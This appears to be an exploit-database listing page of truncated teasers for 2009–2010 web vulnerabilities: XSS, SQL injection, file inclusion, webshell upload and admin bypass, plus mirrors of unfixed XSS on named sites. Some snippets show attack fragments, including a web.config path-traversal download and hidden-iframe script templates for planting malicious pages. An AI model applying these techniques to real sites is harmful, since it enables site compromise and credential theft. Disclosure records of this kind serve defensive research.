CVE-2010-1606

CVE-2010-1606 describes multiple cross-site scripting (XSS) vulnerabilities in the NCT Jobs Portal Script. The flaws allow remote attackers to inject arbitrary web script or HTML via the (1) search, (2) Keywords, (3) Tags, or (4) Desired City fields. Exploitation details (e.g., exploit strings, p...

Cisco Router and Security Device Manager vulnerable to cross-site scripting

Overview Cisco Router and Security Device Manager SDM contains a cross-site scripting vulnerability. Cisco Router and Security Device Manager SDM is a web-based device management tool for Cisco routers. Cisco Router and Security Device Manager SDM contains a cross-site scripting vulnerability...

PHP Jokesite V 2.0 exec Command Exploit

Exploit for php platform in category web applications ======================================= PHP Jokesite V 2.0 exec Command Exploit ======================================= ======================================================================================== | Title : PHP Jokesite V 2.0 exec...

CVE-2010-0979

The CVE-2010-0979 issue affects Obsession-Design Image-Gallery (ODIG) 1.1, specifically in display.php where the folder parameter enables cross-site scripting (XSS). The vulnerability allows remote attackers to inject arbitrary web script or HTML. The root cause is an XSS flaw in the handling of ...

Joomla Janews Local File Inclusion

Joomla Component comjanews Local File Inclusion ============================================================== .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : Joomla Component comjanews .:. Bug Type : Local File Inclusion LFI .:...

Duhok Forum 1.0 script - Cross-Site Scripting

Duhok Forum 1.0 script - Cross-Site Scripting ======================================================================================== | Title : Duhok Forum 1.0 script Cross Site Scripting Vulnerability | Author : indoushka | email : [email protected] | Home : www.iq-ty.com $ | Dork : duhokFr...

Coupons By Pass Admin Vulnerability

Exploit for unknown platform in category web applications =================================== Coupons By Pass Admin Vulnerability =================================== ======================================================================================== | Title : Coupons By Pass Admin...

Multiple File Attachments Mail Form Pro 2.0 - Arbitrary File Upload

Exploit Title: Multiple File Attachments Mail Form Pro v2 - WebShell upload Date: 16/02/2010 Author: EgoPL Mail: [email protected] Software Link: http://activeden.net/item/multiple-file-attachments-mail-form-prov2/31262 17$ but It's now on a lot of file hosts companys like rapishare etc Version: P...

Mambo ACNews SQL Injection

Title: Mambo Component comacnews id | SQL Injection Date: 15/02/2010 Author: Ro0T-MaFia Software Link: .... Version: ... Tested on:...

RealAdmin - 'detail.php' Blind SQL Injection

RealAdmin detail.php Blind Sql Injection Vulnerability ======================================================== .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : RealAdmin .:. Download Script: http://www.redcow.ca/products/realadmin...

cuteeditor using the method of two-vulnerability and early warning-the black bar safety net

Author: m@w01f 1. Direct Download load. ashx configuration file http://www.7747.net/CuteSoftClie ... ../../../web. config Then view some of the sql configuration information from the sql database connection to start with connectionStrings add name="ynncConnectionString" connectionString="Server=....

CVE-2009-4468

DeluxeBB 1.3 is affected by a Cross-site Scripting (XSS) vulnerability in misc.php via the page parameter. This is a client-side script injection risk in the web interface. The CVE entry CVE-2009-4468 states the vulnerability allows remote attackers to inject arbitrary web script or HTML. Connect...

caricatier 2.5 - Cross-Site Scripting

======================================================================================== | Title : caricatier 2.5 Cross Site Scripting Vulnerability | | Author : indoushka | | email : [email protected] | | Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -00213771818860 | | Web Site :...

Unfixed XSS vulnerability at www.legambiente.eu

Security researcher Ribel, has submitted on 15/12/2009 a cross-site-scripting XSS vulnerability affecting www.legambiente.eu, which at the time of submission ranked 197167 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 07/07/2010. It is...

1 0 kind of hung it to the way-vulnerability warning-the black bar safety net

A:The frame hanging horse iframe src=address width=0 height=0/iframe II:the js file hanging horse First, the following code document. write"iframe width='0' height='0' src='address'/iframe"; 保存 为 xxx.js that The JS hung it to the code script language=javascript src=xxx. js/script Three:js...

Unfixed XSS vulnerability at un-bg.bg

Security researcher TurKPoweR, has submitted on 12/06/2009 a cross-site-scripting XSS vulnerability affecting un-bg.bg, which at the time of submission ranked 10492229 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/07/2009. It is currently...

Unfixed XSS vulnerability at www.darkstorm.co.uk

Security researcher 444Team, has submitted on 12/02/2009 a cross-site-scripting XSS vulnerability affecting www.darkstorm.co.uk, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 12/07/2009. It is currentl...

DEBIAN-CVE-2009-4078

Multiple cross-site scripting XSS vulnerabilities in Redmine 0.8.5 and earlier allow remote attackers to inject arbitrary web script or HTML via unspecified vectors...

Unfixed XSS vulnerability at www.herkel.net

Security researcher XPEHOTAC, has submitted on 11/03/2009 a cross-site-scripting XSS vulnerability affecting www.herkel.net, which at the time of submission ranked 9096678 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/07/2010. It is...

Unfixed XSS vulnerability at www.komandirovka.ru

Security researcher Xylitol, has submitted on 11/03/2009 a cross-site-scripting XSS vulnerability affecting www.komandirovka.ru, which at the time of submission ranked 40703 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 19/04/2009. It is...